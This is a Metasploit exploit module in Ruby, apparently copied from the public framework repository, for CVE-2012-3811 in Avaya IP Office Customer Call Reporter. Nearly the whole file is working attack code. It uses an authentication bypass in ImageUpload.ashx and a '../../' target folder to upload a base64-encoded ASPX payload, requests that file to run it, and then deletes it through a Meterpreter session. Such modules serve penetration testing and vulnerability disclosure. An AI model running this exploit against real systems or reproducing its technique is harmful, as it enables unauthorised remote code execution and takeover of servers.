Path: blob/master/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'uri'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::EXE1213def initialize14super(15'Name' => 'Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution',16'Description' => %q{17This module exploits an authentication bypass vulnerability on Avaya IP Office18Customer Call Reporter, which allows a remote user to upload arbitrary files19through the ImageUpload.ashx component. It can be abused to upload and execute20arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP21Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.22},23'Author' => [24'rgod <rgod[at]autistici.org>', # Vulnerability discovery25'juan vazquez' # Metasploit module26],27'Platform' => 'win',28'References' => [29[ 'CVE', '2012-3811' ],30[ 'OSVDB', '83399' ],31[ 'BID', '54225' ],32[ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ],33[ 'ZDI', '12-106' ]34],35'Targets' => [36[ 'Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2', {} ],37],38'DefaultTarget' => 0,39'Privileged' => false,40'DisclosureDate' => 'Jun 28 2012'41)4243register_options(44[45OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/'])46]47)4849self.needs_cleanup = true50end5152#53# Remove the .aspx if we get a meterpreter.54#55def on_new_session(cli)56if cli.type != 'meterpreter'57print_error("Meterpreter not used. Please manually remove #{@payload_path}")58return59end6061cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")6263begin64print_warning("Removing #{@payload_path}")65cli.fs.file.rm(@payload_path)66print_good("#{@payload_path} deleted")67rescue ::Exception => e68print_error("Unable to delete #{@payload_path}: #{e.message}")69end70end7172def exploit73# Generate the ASPX containing the EXE containing the payload74exe = generate_payload_exe75aspx = Msf::Util::EXE.to_exe_aspx(exe)76aspx_b64 = Rex::Text.encode_base64(aspx)7778uri_path = target_uri.path79uri_path.path << "/" if uri_path[-1, 1] != "/"8081boundary = "---------------------------#{rand_text_alpha(36)}"8283my_data = "--#{boundary}\r\n"84my_data << "Content-Disposition: form-data; name=\"RadUAG_fileName\"\r\n"85my_data << "\r\n"86my_data << "#{rand_text_alpha(rand(5) + 3)}.aspx\r\n"87my_data << "--#{boundary}\r\n"88my_data << "Content-Disposition: form-data; name=\"RadUAG_data\"\r\n"89my_data << "\r\n"90my_data << "#{aspx_b64}\r\n"91my_data << "--#{boundary}\r\n"92my_data << "Content-Disposition: form-data; name=\"RadUAG_targetFolder\"\r\n"93my_data << "\r\n"94my_data << "../../CCRWallboardMessageBroker/\r\n"95my_data << "--#{boundary}\r\n"96my_data << "Content-Disposition: form-data; name=\"RadUAG_position\"\r\n"97my_data << "\r\n"98my_data << "0\r\n"99my_data << "--#{boundary}\r\n"100my_data << "Content-Disposition: form-data; name=\"RadUAG_targetPhysicalFolder\"\r\n"101my_data << "\r\n"102my_data << "\r\n"103my_data << "--#{boundary}\r\n"104my_data << "Content-Disposition: form-data; name=\"RadUAG_overwriteExistingFiles\"\r\n"105my_data << "\r\n"106my_data << "True\r\n"107my_data << "--#{boundary}\r\n"108my_data << "Content-Disposition: form-data; name=\"RadUAG_finalFileRequest\"\r\n"109my_data << "\r\n"110my_data << "True\r\n"111my_data << "--#{boundary}\r\n"112my_data << "Content-Disposition: form-data; name=\"UploadImageType\"\r\n"113my_data << "\r\n"114my_data << "0\r\n"115my_data << "--#{boundary}\r\n"116my_data << "Content-Disposition: form-data; name=\"WallboardID\"\r\n"117my_data << "\r\n"118my_data << "0\r\n"119my_data << "--#{boundary}--\r\n"120121#122# UPLOAD123#124attack_url = uri_path + "CCRWebClient/Wallboard/ImageUpload.ashx"125print_status("Uploading #{aspx_b64.length} bytes through #{attack_url}...")126127res = send_request_cgi({128'uri' => attack_url,129'method' => 'POST',130'ctype' => "multipart/form-data; boundary=#{boundary}",131'data' => my_data,132}, 20)133134payload_url = ""135@payload_path = ""136if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/137print_good("Payload uploaded successfully")138else139print_error("Payload upload failed")140return141end142143# Retrieve info about the uploaded payload144145if res.body =~ /\{"Key":"RadUAG_filePath","Value":"(.*)"\},\{"Key":"RadUAG_associatedData/146@payload_path = $1147print_status("Payload stored on #{@payload_path}")148else149print_error("The payload file path couldn't be retrieved")150end151152if res.body =~ /\[\{"Key":"UploadedImageURL","Value":"(.*)"\}\]/153payload_url = URI($1).path154else155print_error("The payload URI couldn't be retrieved... Aborting!")156return157end158159#160# EXECUTE161#162print_status("Executing #{payload_url}...")163164res = send_request_cgi({165'uri' => payload_url,166'method' => 'GET'167}, 20)168169if (!res or (res and res.code != 200))170print_error("Execution failed on #{payload_url} [No Response]")171return172end173end174end175176177